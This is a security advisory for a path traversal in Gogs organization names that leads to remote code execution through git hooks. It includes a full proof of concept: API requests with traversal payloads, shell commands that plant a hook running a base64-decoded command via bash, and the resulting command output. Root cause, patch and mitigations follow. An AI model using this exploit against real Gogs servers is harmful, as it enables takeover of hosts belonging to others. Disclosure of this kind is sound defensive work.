CVE-2026-52813: Gogs Path Traversal in Organization Name leading to RCE via Git Hooks
Gogs accepts organization names containing ../ sequences without sanitization, letting any registered user write files to arbitrary filesystem paths and ultimately execute arbitrary commands on the se

The problem
The organization creation handler in `internal/database/org.go` calls `os.MkdirAll(repox.UserPath(org.Name))` without sanitizing `org.Name` first. Any `../` sequences in the name are passed straight to the filesystem, so the resulting bare repository lands wherever the traversal resolves.
An attacker creates an org named `../../../../data/gogs/data/tmp/local-r/{ID}/nested`, then creates a repo inside it. That repo is written into the local worktree clone of a real repository the attacker already owns. From there, the attacker edits `nested/rce.git/hooks/update` via a normal git push to their outer repo, then triggers the hook to get RCE as the `git` user.
Because Gogs ships with self-registration enabled by default, no prior privileges or admin interaction are needed.
Proof of concept
# Step 1: attacker creates a normal personal repo (writer) and gets its local-r ID
# Step 2: create the path-traversal organization
POST /api/v1/orgs
Authorization: Basic YXR0YWNrZXI6YXR0YWNrZXI=
Content-Type: application/json
{"username": "../../../../data/gogs/data/tmp/local-r/1/nested", "full_name": "poc"}
# Step 3: create a repo inside the traversal org (lands inside the outer repo's local clone)
POST /api/v1/orgs/..%2F..%2F..%2F..%2Fdata%2Fgogs%2Fdata%2Ftmp%2Flocal-r%2F1%2Fnested/repos
Content-Type: application/json
{"name": "rce"}
# Step 4: from the cloned outer (writer) repo, plant the malicious hook
# The file nested/rce.git/hooks/update now lives inside the real bare repo's hooks dir
cd /tmp/poc-writer
cat > nested/rce.git/hooks/update << 'EOF'
#!/bin/bash
echo 'aWQ=' | base64 -d | bash > pwned
EOF
chmod +x nested/rce.git/hooks/update
git add nested/rce.git/hooks/update
git commit -m 'poc: plant hook'
git push
# Step 5: trigger the hook by creating any file via the API in the traversal repo
POST /api/v1/repos/../../../../data/gogs/data/tmp/local-r/1/nested/rce/contents/trigger.txt
Content-Type: application/json
{"message": "trigger", "content": "dA=="}
# Step 6: read RCE output from the outer repo's working tree
GET /attacker/writer/raw/master/nested/rce.git/pwned
# Response: uid=1000(git) gid=1000(git) groups=1000(git)The root cause (CWE-23) is the absence of any path sanitization on the organization name before it is used to construct a filesystem path. `repox.UserPath(org.Name)` simply joins the Gogs repository root with the raw user-supplied name, so a name like `../../../../data/gogs/data/tmp/local-r/1/nested` resolves to a directory inside the local worktree clone of a real repository.
Gogs maintains local worktree clones (`local-r/{id}`) for internal Git operations. Because these are normal Git working directories, a bare repo nested inside one (`nested/rce.git`) is treated as a tracked path by the outer repo, making the hook file writable via an ordinary push.
The patch in commit `f6acd467` (PR #8334) adds a validation step in the organization creation path that rejects any name whose cleaned form contains a `..` component, preventing the traversal before `os.MkdirAll` is ever called.
The fix
Upgrade to Gogs 0.14.3 (commit f6acd467305943aae8403cbac81f0118dd1235d7, PR #8334). If you cannot upgrade immediately, set `DISABLE_REGISTRATION = true` in `app.ini` to block self-registration and remove the primary attack path. Restricting organization creation to trusted users via admin controls also limits exposure.
Reported by Jorian Woltjer.